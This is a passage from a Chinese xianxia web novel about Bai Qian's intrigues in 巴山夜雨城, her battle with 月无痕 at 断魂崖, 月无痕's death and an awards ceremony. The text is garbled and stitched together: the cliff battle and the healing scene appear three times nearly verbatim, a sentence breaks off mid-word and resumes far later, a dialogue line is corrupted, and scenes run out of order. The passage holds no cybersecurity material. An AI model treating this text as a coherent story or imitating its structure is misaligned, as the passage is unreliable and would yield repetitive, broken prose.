火势极大,烧了整整一夜,烧毁了巴山三分之一的存粮。白望春震怒,下令彻查。查来查去,所有的证据都指向了角鹿区主乐林间。有人说看见她在起火前夜,独自一人进了粮仓;有人说她私自挪用了粮仓的灵米,拿去黑市贩卖;更有甚者,说她早就与青鸾宫勾结,故意烧毁粮草,断巴山后路。乐林间百口莫辩,被白望春打入大牢。听雨阁内,气氛压抑。羽鹤区主翔云天拍案而起:“证据确凿!乐林间这老贼,平日里就阴阳怪气,如今果然叛变了!城主,直接斩了吧!” 商风区主叶轻扬却摇头:“不对。乐林间掌管粮仓数十年,账目清清楚楚,从未有过贪墨。她怎会为了一点私利,烧毁自家根基?这其中有诈。”宫鸣区主鹤之舞冷哼:“有什么诈?事实胜于雄辩!粮仓起火时,只有她在里面!不是她是谁?”徵水区主波涟漪看着水镜中的影像,眉头紧锁:“这火,烧得很怪。火苗是蓝色的,不是寻常的红色。这像是某种特殊的毒火,专门烧粮食,不伤人。”白望春坐在主位上,一言不发。她看向身旁的白浅。白浅面色平静,“浅浅,”白望春开口,“你怎么看?”“我看,”白浅缓缓站起身,目光扫过在场的区主们,“这是有人想借刀杀人。想借我们的手,除掉乐林间区主。”“谁?” “谁受益,谁就是凶手。”白浅看向羽鹤翔云天,“翔云天姨,您掌管羽鹤区,负责全城治安。粮仓起火,您的卫兵第一时间赶到,却没能救下火,也没能抓住纵火犯。您觉得,这火是怎么烧起来的?”翔云天脸色一变:“你怀疑我?”“我不怀疑任何人。”白浅淡淡道,“我只相信证据。既然大家都怀疑乐林间,那好,就把她提出来,当面对质。”牢房内。 乐林间披头散发,双眼无神。看到白望春进来,她猛地扑到栅栏前:“城主!冤枉啊!我没有烧粮仓!那火是蓝色的,不是我放的!” “我知道不是你。”白浅隔着栅栏,看着她,“火是我放的。”乐林间愣住了,像是听到了天大的笑话。“为什么?”她颤抖着问。“因为巴山需要你‘死’。”白浅凑近栅栏,声音压得极低,“或者说,需要你‘叛逃’。只有这样,月无痕才会相信你,你才能成为我们真正的钉子。”乐林间瘫坐在地上,面如死灰。“这三个月,你就在大牢里好好待着。”白浅转身离去,“外面的风雨,交给我们。”走出牢房,白浅对身后的翔云天道:“翔云天姨,乐林间已招供。她说,是严时芳指使她干的。严时芳现在在哪里?”“在驻地。”翔云天懵懵地回答。“去抓她吧。”白望春头也不回,“记住,要活的。”严时芳被捕时,正在销毁证据。她没想到,白浅的动作这么快。在听雨阁的大殿上,严时芳跪在地上,看着高高在上的白浅,终于崩溃大哭:“浅浅!你骗我!你说只要我配合你,就放过我家人!”“我是放过他们了。”白浅平静地说,“他们现在在商风区,有叶姨照顾,衣食无忧。只是你,回不去了。” “为什么?为什么连你也要害我?”严时芳嘶吼。“因月无痕看着白浅,眼中闪过一丝赞赏:“白浅,你果然没让我失望。你来得正好,省得我再去抓你。今日,你们三个,谁也别想走。”“想留下我们,得看你有没有这个本事!”白浅长啸一声,霜羽剑化作一道流光,直刺月无痕。这一剑,是她悟通的“冰魄九变”第二变——“冰封千里”!剑气所过之处,空气冻结,连雨水都化作了冰锥,铺天盖地地向月无痕刺去。月无痕脸色微变,她没想到短短几日,白浅的剑意又精进如斯。她不敢大意,祭出了那柄“破虚匕”,空间道则发动,整个人仿佛化作了虚无,任由冰锥穿透身体,却伤不到分毫。“唐婉,救人!”白浅一边与月无痕缠斗,一边喊道唐婉身形如电,冲向柱子上的严时芳。然而,就在唐婉即将碰到严时芳的瞬间,严时芳眼中闪过一丝诡异的红光。她猛地挣断绳索,手中不知何时多了一把匕首,狠狠刺向唐婉的后心“噗——” 匕首入肉的声音。唐婉不可置信地回头,看着插在自己胸口的那把匕首,又看向严时芳。严时芳却哭了,她抱着唐婉,眼泪鼻涕糊了一脸:“对不起……对不起……他们抓了我的孩子……我没办法……”唐婉身子一软,倒了下去。“唐婉!”白浅目眦欲裂,剑势瞬间大乱。“就是现在!”月无痕抓住破绽,破虚匕化作一道流光,直取白浅的眉心。千钧一发之际,一道身影挡在了白浅面前。是赵琳。“噗嗤!”破虚匕穿透了赵琳的肩膀,带起一蓬血花。“赵琳姨!”白浅扶住赵琳。“走……”赵琳吐出一口鲜血,手中长枪猛地掷出,逼退了月无痕,“带唐婉走!快走!”白浅咬着牙,一把抱起昏迷的唐婉,又看了一眼满身是血的赵琳,眼中满是血丝。“月无痕!今日之仇,我白浅记下了!他日必百倍奉还!”她施展“影遁术”,带着两人化作一道流光,冲出了翠屏山月无痕并没有追。她看着赵琳,冷冷道:“你为了她们,不惜送死?”赵琳单膝跪地,拄着枪杆支撑身体,哈哈大笑:“死?老子还没活够呢!月无痕,你等着,我巴山夜雨城的人,不是这么好杀的!”月无痕眯起眼,忽然笑了:“好。那我就留你这条命。我要让你亲眼看着,巴山是怎么毁灭的。”她挥了挥手,灵珠上前,将赵琳捆了个结实。巴山夜雨城阵法吊着她的性命,但那把匕首上有剧毒,若找不到解药,唐婉撑不过三日。 白浅坐在床边,手里紧紧握着唐婉的手。她没有哭,眼神比任何时候都要冷静,冷静得可怕。 白望春和叶轻眉站在门外,看着这一幕,心中沉重。 “浅浅,”叶轻眉走进来,轻声道,“赵琳被我知道。”白浅没有回头,“乐林间也在那边。月无痕现在手里有两个区主,还有唐婉的解药。她这是要逼我就范。” “你打算怎么办?” “还能怎么办?”白浅转过头,那双原本清澈的眼睛,此刻只剩下无尽的寒意,“她要我,我就去。但她要的,我未必给。” 她站起身,走到院子里。雨已经停了,天空露出诡异的红色。“师尊,”白浅背对着叶轻眉,声音冰冷,“请您传授我‘冰魄九变’的第三变吧。我要的不是防守,是毁灭。”叶轻眉沉默片刻,叹了口气:“第三变‘冰狱’,乃是同归于尽的杀招。你修为不够,强行修炼,会伤及本源。”“我不怕。”白浅看着天空,“若连身边的人我都护不住,修为再高,又有何用?” 叶轻眉看着这个一夜之间成熟起来的徒弟,终于点了点头:“好。从今日起,你闭关修炼。巴山,我来守。”接下来的三天,巴山夜雨城陷入了死寂。没有人说话,没有人笑。所有人都在等,等白浅出关,等唐婉醒来,等那场最终的决战。第三日黄昏,凝碧轩内,一股恐怖的寒气冲天而起,将天上的云层都冻结成了冰晶。白浅推门而出。她还是那个白浅,但眉宇间,多了一股令人心悸的杀伐之气。她走到唐婉床前,将一枚散发着寒气的丹药喂入她口中。唐婉身上的毒,以肉眼可见的速度消退“醒了?”白浅看着睁开眼的唐婉,淡淡道,“醒了,就去杀人。”唐婉坐起身,活动了一下筋骨,眼中闪过嗜血的红光:“杀谁?”“杀月无痕。”白浅拔出霜羽剑,剑指翠屏山,“这一次,不是赌局,是战争。”月无痕看着白浅,眼中闪过一丝赞赏:“白浅,你果然没让我失望。你来得正好,省得我再去抓你。今日,你们三个,谁也别想走。”“想留下我们,得看你有没有这个本事!”白浅长啸一声,霜羽剑化作一道流光,直刺月无痕。这一剑,是她悟通的“冰魄九变”第二变“冰封千里”剑气所过之处,空气冻结,连雨水都化作了冰锥,铺天盖地地向月无痕刺去。月无痕脸色微变,她没想到短短几日,白浅的剑意又精进如斯。她不敢大意,祭出了那柄“破虚匕”,空间道则发动,整个人仿佛化作了虚无,任由冰锥穿透身体,却伤不到分毫。“唐婉,救人!”白浅一边与月无痕缠斗,一边喊道。唐婉身形如电,冲向柱子上的严时芳。然而,就在唐婉即将碰到严时芳的瞬间,严时芳眼中闪过一丝诡异的红光。她猛地挣断绳索,手中不知何时多了一把匕首,狠狠刺向唐婉的后心!“噗——”匕首入肉的声音。唐婉不可置信地回头,看着插在自己胸口的那把匕首,又看向严时芳。 严时芳却哭了,她抱着唐婉,眼泪鼻涕糊了一脸:“对不起……对不起……他们抓了我的孩子。我没办法”唐婉身子一软,倒了下去。 “唐婉!”白浅目眦欲裂,剑势瞬间大乱。 “就是现在!”月无痕抓住破绽,破虚匕化作一道流光,直取白浅的眉心。 千钧一发之际,一道身影挡在了白浅面前。 是赵琳。 “噗嗤!” 破虚匕穿透了赵琳的肩膀,带起一蓬血花。 “赵琳姨!”白浅扶住赵琳。 “走”赵琳吐出一口鲜血,手中长枪猛地掷出,逼退了月无痕,“带唐婉走!快走!” “月无痕!今日之仇,我白浅记下了!他日必百倍奉还!” 她施展“影遁术”,带着两人化作一道流光,冲出了翠屏山。 月无痕并没有追。她看着赵琳,冷冷道:“你为了她们,不惜送死?” 赵琳单膝跪地,拄着枪杆支撑身体,哈哈大笑:“死?老子还没活够呢!月无痕,你等着,我巴山夜雨城的人,不是这么好杀的!” 月无痕眯起眼,忽然笑了:“好。那我就留着你这条命。我要让你亲眼看着,巴山是怎么毁灭的。” 她挥了挥手,灵珠上前,将赵琳捆了个结实。 巴山夜雨城,凝碧轩。 唐婉躺在床上,脸色苍白如纸,那把匕首上有剧毒,若找不到解药,唐婉撑不过三日。 白浅坐在床边,手里紧紧握着唐婉的手。她没有哭,眼神比任何时候都要冷静,冷静得可怕。 白望春和叶轻眉站在门外,看着这一幕,心中沉重。 “浅浅,”叶轻眉走进来,轻声道,“赵琳被抓了。” “我知道。”白浅没有回头,“乐林间也在那边。月无痕现在手里有两个区主,还有唐婉的解药。她这是要逼我就范。” “你打算怎么办?” “还能怎么办?”白浅转过头,那双原本清澈的眼睛,此刻只剩下无尽的寒意,“她要我,我就去。但她要的,我未必给。” 她站起身,走到院子里。雨已经停了,天空露出诡异的红色。 “师尊,”白浅背对着叶轻眉,声音冰冷,“请您传授我‘冰魄九变’的第三变吧。我要的不是防守,是毁灭。” 叶轻眉沉默片刻,叹了口气:“第三变‘冰狱’,乃是同归于尽的杀招。你修为不够,强行修炼,会伤及本源。” “我不怕。”白浅看着天空,“若连身边的人我都护不住,修为再高,又有何用?” 叶轻眉看着这个一夜之间成熟起来的徒弟,终于点了点头:“好。从今日起,你闭关修炼。巴山,我来守。” 接下来的三天,巴山夜雨城陷入了死寂。 没有人说话,没有人笑。所有人都在等,等白浅出关,等唐婉醒来,等那场最终的决战。 第三日黄昏,凝碧轩内,一股恐怖的寒气冲天而起,将天上的云层都冻结成了冰晶。 白浅推门而出。 她还是那个白浅,但眉宇间,多了一股令人心悸的杀伐之气。她走到唐婉床前,将一枚散发着寒气的丹药喂入她口中。 唐婉身上的毒,以肉眼可见的速度消退。 “醒了?”白浅看着睁开眼的唐婉,淡淡道,“醒了,就去杀人。” 唐婉坐起身,活动了一下筋骨,眼中闪过嗜血的红光:“杀谁?” “杀月无痕。”白浅拔出霜羽剑,剑指翠屏山,“这一次,不是赌局,是战争。” 为你太贪心了。”白浅站起身,居高临下地看着她,“你一边做我的双面间谍,一边又偷偷给乐林间送毒火,想烧死她,嫁祸于她。你想借月无痕的手,除掉所有对手,然后独占功劳,对不对?” 严时芳脸色惨白,她的如意算盘,全被白浅看穿了。 “你错了。”白浅摇了摇头,“在这个局里,你从来不是猎人。从你捡起那块令牌开始,你就只是我手里的一枚棋子。现在,棋子没用了,就该被扔掉了。” “城主,救我!”严时芳绝望地向白望春求救。 白望春闭上眼,不忍再看。 “带下去吧。”白浅挥了挥手,“听雨四卫,从此再无严时芳。” 严时芳被拖下去了,凄厉的叫声回荡在大殿内。 这一刻,所有人都明白了一个道理:这哪里还是那个需要人保护的小丫头?这分明是比月无痕更可怕的猎手。她不动声色地清理了内鬼,借刀杀人除掉了乐林间这个摇摆分子,又把严时芳这个定时炸弹拆了。 巴山夜雨城,终于在战前,实现了真正的统一。 窗外,又开始下雨了。 白浅站在窗前,看着雨幕中的巴山城,轻声道:“师尊,徒儿清理干净了。接下来,该迎接那位‘贵客’了。巴山夜雨城的地牢,位于宫鸣区古剑冢的极深处,终年不见天日,只有岩壁缝隙中渗出的阴寒之气,裹挟着腐朽与绝望的味道。 乐林间蜷缩在潮湿的稻草堆上,脖颈和脚踝处扣着沉重的“镇灵锁”。这锁是徵水区主波涟漪亲手所炼,专门用来压制凌霄段强者的真气。她那双曾经拨动算盘、掌控全城粮草的眼睛,此刻浑浊不堪,只剩下死灰。 牢门铁链哗啦作响,白浅提着一盏孤灯,独自走了进来。灯光在她脸上投下明暗不定的阴影,让她看起来像是从地狱里爬出来的判官。 “乐姨。”白浅在牢门外停下,声音平静,“这里的日子,不好过吧?” 乐林间猛地抬起头,蓬乱的头发下,那双眼睛先是惊恐,随即化为怨毒:“是你!是你害我!白浅,我做鬼也不会放过你!” “做鬼?”白浅轻笑一声,角鹿区二十年,经手了无数灵米药材,应该认得这是什么吧?” 乐林间瞳孔骤缩:“冰魄龙涎?!这……这是古剑冢第九层才有的至宝!你……你怎么会有?” 我不仅有,我还能给你。”白浅将玉盒从栏杆缝隙中推了进去,“吃了它,你能恢复三成修为,足够你逃出这地牢。当然,只是逃出去,不是自由。” 乐林间死死盯着那枚丹药,喉咙滚动。作为掌管后勤多年的区主,她太清楚这丹药 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“为什么是我?”因为你是角鹿区主。”白浅站起身,整理了一下衣袖,“角鹿区连接着地脉。只有你能带月无痕走进古剑冢第九层,也只有你,能在那里,引爆地脉,把她炸上天。” 说完,白浅转身离去,留下乐林间一个人在黑暗中消化着这个惊天秘密。 三日后,翠屏山。乐林间衣衫褴褛,浑身是伤,跌跌撞撞地跪在月无痕面前。她演技精湛,每一个伤口的位置,每一分绝望的神情,都恰到好处。少主!求少主为奴婢做主啊!”乐林间哭得肝肠寸断,“白浅那个毒妇,为了掩盖她私吞‘时空灵髓’的秘密,竟放火烧了我的粮仓,还要杀我灭口!若非我拼死月无痕坐在软榻上,指尖绕着一缕发丝,眼神玩味:“哦?白浅私吞灵髓?她不是一心求死,要与我决一死战吗?” “她那是做给外人看的!”乐林间涕泪横流,“她怕少主您拿到灵髓后,过河拆桥。她想独吞归墟之门的机缘!而且……而且她还在暗中联络雨韵剑宗和秋池剑阁,准备三家联手,围攻少主您啊!” 这话一出,月无痕身后的灵珠都变了脸色。 “三家联手?”月无痕冷笑,“好大的手笔。你有什么证据?”“有!”乐林间从怀里掏出一枚早已准备好的玉简,“这是白浅与陆徽、若曦密谈时的留影。少主一看便知!”月无痕接过玉简,神识一扫。玉简中,赫然是白浅与陆徽、若曦在听雨阁密谈的画面。虽然听不清声音,但能看到白浅神色严肃,陆徽频频点头,若曦更是拍案而起,显然是在商讨什么大事 这玉简,自然是假的。是白浅用“冰魄九变”中的幻术,亲手编织的陷阱。白浅啊白浅,你果然还是太嫩了。”月无痕将玉简捏碎,眼中闪过嗜血的红光,“想三家联手围攻我?做梦!” 她看向乐林间,语气缓和了一些:“你倒是忠心。既然如此,本少主便留你在身边做个副将。这三个月,你好好观察巴山动静,一有异动,立刻回报。” “谢少主!”乐林间磕头谢恩,心中却是一片冰冷。她知道,自己这条命,已经卖给了魔鬼。 白浅坐在窗前,听着外面的雨声,手里把玩着一枚黑色的棋子。这是乐林间临走前,偷偷塞给她的。棋子代表“死士”,意思是告诉白浅:我若死了,你也别想活。 “师尊,”白浅轻声道,“乐林间走了。” 叶轻眉正在煮茶,闻言头也不抬:“走了也好。留在这里,早晚是个祸患。现在把她推出去,反而能成事。” “我担心的是严时芳。”白浅眉头微蹙,“严时芳虽然被我揭穿,但听雨四卫的情谊还在赵琳姨这几天总是心神不宁,怕是要出事。” 话音未落,院外忽然传来急促的脚步声。 羽鹤区主翔云天一身戎装,满脸焦急地冲了进来:“不好了!赵琳大人不见了!” 白浅手一抖,棋子掉在桌上。 “什么时候的事?”白浅猛地站起。 “今晨点卯时就没见人。我们在她的住处发现了一封血书,是写给城主的。”翔云天递上一封沾血的信笺。白浅接过,展开一看,信上只有寥寥数字:“城主,浅浅:严时芳是我妹妹,我知她有罪。但我不能看着她死。我去救她,若救不回,我便随她而去。赵琳绝不负巴山。”白浅看完,信纸在她手中化为齑粉。“蠢!”白浅气得浑身发抖,“赵琳姨这是去送死!严时芳已经被月无痕带走了,她去哪里救?这是圈套!这是月无痕故意放出的诱饵!”商风区主叶轻扬匆匆赶来,脸色也很难看:“城主已下令封锁全城,但赵琳是从羽鹤区正门出去的,守卫不敢拦。她修为太高,追不上了。”“追不追得上,都要追。”白浅抓起霜羽剑,大步向外走去,“翔云天姨,你守好城主。唐婉,你跟我走。”“去哪?”唐婉问。“翠屏山。”白浅眼中杀意沸腾,“月无痕既然敢动赵琳姨,就要做好付出代价的准备。” 断魂崖·姐妹相残翠屏山,断魂崖。 赵琳果然来了。她一身戎装,手持长枪,如怒目金刚般立在崖边。对面,严时芳被绑在柱子上,嘴里塞着布团,满脸泪水。 “赵琳!”月无痕从云层中缓缓落下,身后跟着乐林间和灵珠,“你果然来了。为了这么个叛徒妹妹,值得吗?” “放了她。”赵琳枪尖直指月无痕,凌霄段巅峰的气势毫无保留地爆发,“否则,我让你翠屏山血流成河!”“哈哈哈!”月无痕大笑,“就凭你?赵琳,你太看得起自己了。今日我不杀你,我要你看着你妹妹死在你面前!” 她一挥手,灵珠提着剑,走向了严时芳。 “不要!”赵琳大急,就要冲上去。就在这时,一道冰蓝剑光从天而降,精准地挡住了灵珠的剑。“铛!” 巨大的冲击力将灵珠震退三步。 白浅手持霜羽剑,落在赵琳身前,唐婉则落在另一侧,封死了退路。 “赵琳姨,退下。”白浅头也不回地说道,“这里交给我。”“浅浅?”赵琳愣住了,“你怎么来了?”“我不能看着您送死。”白浅眼神冰冷地看着月无痕,“月少主,好手段。利用严时芳引出赵琳姨,再利用赵琳姨引出我。这一环扣一环,真是精彩。” 月无痕看着白浅,眼中闪过一丝赞赏:“白浅,你果然没让我失望。你来得正好,省得我再去抓你。今日,你们三个,谁也别想走。”“想留下我们,得看你有没有这个本事!”白浅长啸一声,霜羽剑化作一道流光,直刺月无痕。这一剑,是她悟通的“冰魄九变”第二变——“冰封千里”!剑气所过之处,空气冻结,连雨水都化作了冰锥,铺天盖地地向月无痕刺去。月无痕脸色微变,她没想到短短几日,白浅的剑意又精进如斯。她不敢大意,祭出了那柄“破虚匕”,空间道则发动,整个人仿佛化作了虚无,任由冰锥穿透身体,却伤不到分毫。“唐婉,救人!”白浅一边与月无痕缠斗,一边喊道。唐婉身形如电,冲向柱子上的严时芳。然而,就在唐婉即将碰到严时芳的瞬间,严时芳眼中闪过一丝诡异的红光。她猛地挣断绳索,手中不知何时多了一把匕首,狠狠刺向唐婉的后心!“噗——”匕首入肉的声音。唐婉不可置信地回头,看着插在自己胸口的那把匕首,又看向严时芳。严时芳却哭了,她抱着唐婉,眼泪鼻涕糊了一脸:“对不起对不起他们抓了我的孩子我没办法”唐婉身子一软,倒了下去。“唐婉!”白浅目眦欲裂,剑势瞬间大乱。 “就是现在!”月无痕抓住破绽,破虚匕化作一道流光,直取白浅的眉心。千钧一发之际,一道身影挡在了白浅面前。是赵琳。“噗嗤!”破虚匕穿透了赵琳的肩膀,带起一蓬血花。 “赵琳姨!”白浅扶住赵琳。“走”赵琳吐出一口鲜血,手中长枪猛地掷出,逼退了月无痕,“带唐婉走!快走!”白浅咬着牙,一把抱起昏迷的唐婉,又看了一眼满身是血的赵琳,眼中满是血丝。 “月无痕!今日之仇,我白浅记下了!他日必百倍奉还!”她施展“影遁术”,带着两人化作一道流光,冲出了翠屏山。月无痕并没有追。她看着赵琳,冷冷道:“你为了她们,不惜送死?”赵琳单膝跪地,拄着枪杆支撑身体,哈哈大笑:“死?老子还没活够呢!月无痕,你等着,我巴山夜雨城的人,不是这么好杀的!” 月无痕眯起眼,忽然笑了:“好。那我就留着你这条命。我要让你亲眼看着,巴山是怎么毁灭的。”她挥了挥手,灵珠上前,将赵琳捆了个结实。归来·血与火的誓言巴山夜雨城,凝碧轩。唐婉躺在床上,脸色苍白如纸。正用阵法吊着她的性命,但那把匕首上有剧毒,若找不到解药,唐婉撑不过三日。白浅坐在床边,手里紧紧握着唐婉的手。她没有哭,眼神比任何时候都要冷静,冷静得可怕。白望春和叶轻眉站在门外,看着这一幕,心中沉重。“浅浅,”叶轻眉走进来,轻声道,“赵琳被抓了。”“我知道。”白浅没有回头,“乐林间也在那边。月无痕现在手里有两个区主,还有唐婉的解药。她这是要逼我就范。”“你打算怎么办?”“还能怎么办?”白浅转过头,那双原本清澈的眼睛,此刻只剩下无尽的寒意,“她要我,我就去。但她要的,我未必给。”她站起身,走到院子里。雨已经停了,天空露出诡异的红色。“师尊,”白浅背对着叶轻眉,声音冰冷,“请您传授我‘冰魄九变’的第三变吧。我要的不是防守,是毁灭。”叶轻眉沉默片刻,叹了口气:“第三变‘冰狱’,乃是同归于尽的杀招。你修为不够,强行修炼,会伤及本源。”“我不怕。”白浅看着天空,“若连身边的人我都护不住,修为再高,又有何用?”叶轻眉看着这个一夜之间成熟起来的徒弟,终于点了点头:“好。从今日起,你闭关修炼。巴山,我来守。”接下来的三天,巴山夜雨城陷入了死寂。没有人说话,没有人笑。所有人都在等,等白浅出关,等唐婉醒来,等那场最终的决战。第三日黄昏,凝碧轩内,一股恐怖的寒气冲天而起,将天上的云层都冻结成了冰晶。白浅推门而出。她还是那个白浅,但眉宇间,多了一股令人心悸的杀伐之气。她走到唐婉床前,将一枚散发着寒气的丹药喂入她口中。唐婉身上的毒,以肉眼可见的速度消退。“醒了?”白浅看着睁开眼的唐婉,淡淡道,“醒了,就去杀人。”唐婉坐起身,活动了一下筋骨,眼中闪过嗜血的红光:“杀谁?”“杀月无痕。”白浅拔出霜羽剑,剑指翠屏山,“这一次,不是赌局,是战争。” 59. 紫翎断魂月无痕 翠屏山,月无痕坐在软榻上,却没有往日的骄横。她面前摊着一卷泛黄的帛书,那是师尊临终前交给她的。帛书上只有八个字:“道心唯微,魔心唯险。”她修行千年,自以为超脱下界,站在云端俯视蝳蚁。可自从来了巴山夜雨城,一切都变了。白浅那惊才绝艳的一剑,叶轻眉那淡漠如山的眼神,还有那个叫赵琳的女人被吊在囚牢里三天三夜,经脉尽碎,却依旧不肯低头求饶。“少主,”灵珠小心翼翼地走进来,“那个赵琳又绝食了。她说,见不到白城主,她绝不吃一口饭。”月无痕挥了挥手,示意灵珠退下。她独自走到囚牢外,看着里面那个满身血污却眼神不屈的女人。“赵琳,”月无痕开口,声音里没有了往日的冰冷,“你为了巴山,值得吗?”赵琳抬起头,嘴角扯出一个惨淡的笑:“值不值得,不是你说了算。我只知道,我是听雨四卫的大统领,我的命是城主的。她若不死,我绝不独活。”月无痕沉默了。她忽然想起师尊的话:“上界之人,无情无义,方能长生。可若连情义都没了,长生又有何趣?”她一直以为自己是对的。直到今日,看着赵琳那双眼睛,她忽然觉得自己错了。错的离谱。她拥有天外天的功法,拥有无尽的寿元,可她的内心,却比这下界的蝼蚁还要空虚。 “你走吧。”月无痕忽然道。赵琳愣住了,以为自己听错了。“我说,你走吧。”月无痕打开了牢门,解开了赵琳身上的锁链,“不仅你走,我青鸾宫所有人,今日都撤离翠屏山。”赵琳挣扎着站起身,警惕地看着她:“你又在耍什么阴谋?”“没有阴谋。”月无痕从怀里掏出一枚玉简,塞进赵琳手里,“这是‘解构符’的解除方法,还有我青鸾宫在此界的所有布置。拿着它,去见白望春。告诉她,月无痕输了,输得心服口服。”“你”赵琳看着这个曾经不可一世的天外天少主,此刻竟显得如此落寞。“赵琳,”月无痕背过身去,声音轻得像是在自言自语,“我师尊骗了我。他说天外天是仙境,可那里只有无尽的争斗和算计。我累了,不想再争了。”“你要去哪?”赵琳问。“我去一个没有人的地方。”月无痕转过身,笑了笑,那笑容里竟有一丝释然,“替我向白浅说声抱歉。还有,告诉她,那把‘归墟钥匙’,我不要了。这天下,还是留给你们这些有血有肉的人吧。”话音未落,月无痕周身忽然燃起七彩光芒。那不是真气,那是燃烧的神魂。 “少主不可!”灵珠在门外惊呼,想要冲进来,却被一股大力弹开。“灵珠,带着大家回青鸾宫旧址隐居吧。别再出来害人了。”月无痕的声音在整个点苍台回荡,随后,她的身躯在光芒中一点点消散,化作点点星辉,随风飘散。一代天骄,就此陨落。不是死于敌手,而是死于自己的觉悟。巴山夜雨城,听雨阁。白望春看着跪在地上的赵琳,以及那一卷至关重要的玉简,久久无言。“城主,”赵琳磕头,泪如雨下,“属下无能,没能杀敌,还让您担心了。”“回来就好。”白望春亲自扶起她,眼眶微红,“回来就好。”羽鹤区主翔云天走上前,紧紧抱住赵琳,两位铁血女将,此刻竟都湿了眼眶。商风区主叶轻扬拨弄着算盘,声音有些哽咽:“这下好了,省得打仗了。青鸾宫撤了,咱们又能过安稳日子了。”角鹿区主乐林间虽然因为之前的背叛被贬为庶人,但在角落里看着这一幕,也默默地松了一口气。至少,不用死了。徵水区主波涟漪和宫鸣区主鹤之舞对视一眼,都从对方眼中看到了庆幸。白浅站在人群后方,看着消散在空中的那抹七彩光芒,心中五味杂陈。她赢了,赢得不光彩,却赢得彻底。“浅浅,”叶轻眉走到她身边,“这局是你赢了。月无痕输在了一颗仁心上。”“师尊,”白浅低声道,“我是不是做错了?若我不逼得她那么紧,她或许不会死。”“她不是死,是解脱。”叶轻眉淡淡道,“她本就不该来这里。这巴山的风雨,不适合她这种温室里的花朵。”三日后,听雨阁大殿。巴山夜雨城举行了盛大的封赏大典。殿内灯火通明,五位区主、有功将士,悉数到场。 白望春端坐主位,身穿墨色王袍,威严更胜往昔。“今日,我巴山夜雨城,驱除外敌,内清叛徒,实乃天佑。”白望春声音洪亮,传遍大殿,“论功行赏,以彰忠义!” “首位,听雨四卫大统领,赵琳!”赵琳身穿崭新的戎装,大步走出,单膝跪地。 “赵琳坚守气节,虽身陷囹圄而不改其志,实乃我巴山脊梁。本城主宣布,赐黄金万两,灵晶千枚,加封‘镇国将军’,统领全城兵马,听调不听宣!”“谢城主!”赵琳接过令牌,热泪盈眶。 “第二位,商风区唐婉!” 唐婉虽面色苍白,但精神尚佳,走出列队。 “唐婉深入虎穴,身中剧毒而不退,助我识破奸计,功不可没。赐‘冰魄龙涎’一瓶,助你修复根基,晋封为‘商风区副区主’,协理商风区事务!”“谢城主!”唐婉接过赏赐,心中大定。第三位,徵水区陆青烟!”陆青烟走出,神色坚毅。“陆青烟识大体,明大义,于危难之际挺身而出,虽败犹荣。赐灵级上品功法《雨化千丝》全卷,晋封‘徵水区副区主’,辅佐波涟漪!”“谢城主!”陆青烟激动不已。“第四位,宫鸣区云为衫!”云为衫握紧铁剑,走上前去。“云为衫身怀杀生剑种,却能以大毅力掌控之,于翠屏山一役牵制强敌,功在社稷。赐‘时轮剑境’修炼名额三月,晋封‘听雨四卫’之一,赐号‘听雨剑’!”“谢城主!”云为衫面无表情,但眼中却有精光闪过。“第五位,羽鹤区阿诗玛!”阿诗玛抱剑而出。“阿诗玛虽非我巴山旧部,但于角鹿区一战中助我守城,又于凝碧轩助唐婉疗伤,恩同再造。赐‘细雨快剑’全套剑谱,晋封‘听雨四卫’之一,赐号‘听雨卫’!”“谢城主!”阿诗玛抱拳,算是认下了这份恩情。白望春看着台下众人,继续道:“旧听雨四卫,寒青萝叛逃,严时芳身死,姚苏战损。今日本城主重组听雨四卫!”“听雨四卫,乃我巴山利刃。今任命” “赵琳,为听雨四卫大统领,掌全城兵马。” “云为衫,为听雨四卫左使,掌刑杀。”“阿诗玛,为听雨四卫右使,掌巡察。”“姚苏”白望春顿了顿,看向羽鹤区主翔云天身后的一个女弟子,“姚苏重伤未愈,特由其师妹严素暂代听雨四卫末席,掌内卫。” “众将领旨!”四人齐声应诺,声震大殿。新的听雨四卫,就此成型。赵琳坐镇中枢,云为衫与阿诗玛一左一右,如两把尖刀。虽然缺了姚苏,但补进来的严素也是个狠角色,眼神如刀。大典结束后,白浅独自一人来到了凝碧轩的屋顶。夜空中繁星点点,翠屏山那边,已经看不见半点青光了。“在想什么?”唐婉爬上屋顶,坐在她身边。 “在想月无痕。”白浅仰头喝了一口酒,“你说,她到底是赢了,还是输了?”“她赢了。”唐婉肯定地说道,“她赢了自己。以前她活在师尊的阴影里,活在青鸾宫的规矩里。现在,她为自己活了一次,哪怕是死,也是自由的。”白浅沉默了。“对了,”唐婉忽然想起什么,从怀里掏出一封信,“这是月无痕临死前,让灵珠转交给你的。”白浅接过信,拆开。信上只有一句话:“白浅,这巴山的雨,太冷了。你若想上青鸾宫找我师尊报仇,随时欢迎。但那时,记得带把伞。”白浅捏着信纸,嘴角微微上扬。 “师尊,”白浅轻声道,“这局棋,还没完呢。” 叶轻眉的声音从下方传来:“还没完就接着下。不过现在,先去睡个好觉吧。明天,还要教你‘冰魄九变’的第四变呢。”白浅笑了,将信纸揉成一团,扔向夜空。夜风吹过,巴山夜雨城迎来了久违的宁静。那一夜过后,巴山夜雨城确实安静了七日。七日的时光,对于凡人来说不过是弹指一瞬,但对于武者而言,却是脱胎换骨的契机。封赏大典上,唐婉获赐“冰魄龙涎”,不仅修复了此前中毒受损的根基,修为更是精进不少,已然触摸到了笃行段大圆满的瓶颈。然而,平静的水面下,暗流从未停止涌动。这一日,晨曦微露。白浅独自一人坐在窗前,手中并未握剑,而是捏着那一枚来自月无痕的玉简,眉宇间笼罩着一层化不开的愁云。“浅姐姐,还在想月无痕的事?”唐婉推门而入,手里端着一盏刚煎好的汤药,药香浓郁,正是巩固修为的良药。白浅回过神来,将玉简收起,苦笑道:“月无痕虽去,但她留下的烂摊子还得收拾。更重要的是”她顿了顿,声音压低了几分,透着一丝前所未有的凝重,“婉儿,我听说陆青烟从秋池剑阁带回大量‘凝碧灵液’,助长了陆家年轻一代的气焰,意图在下月的宗门大比中压倒我们”巴山夜雨城,白浅居所。 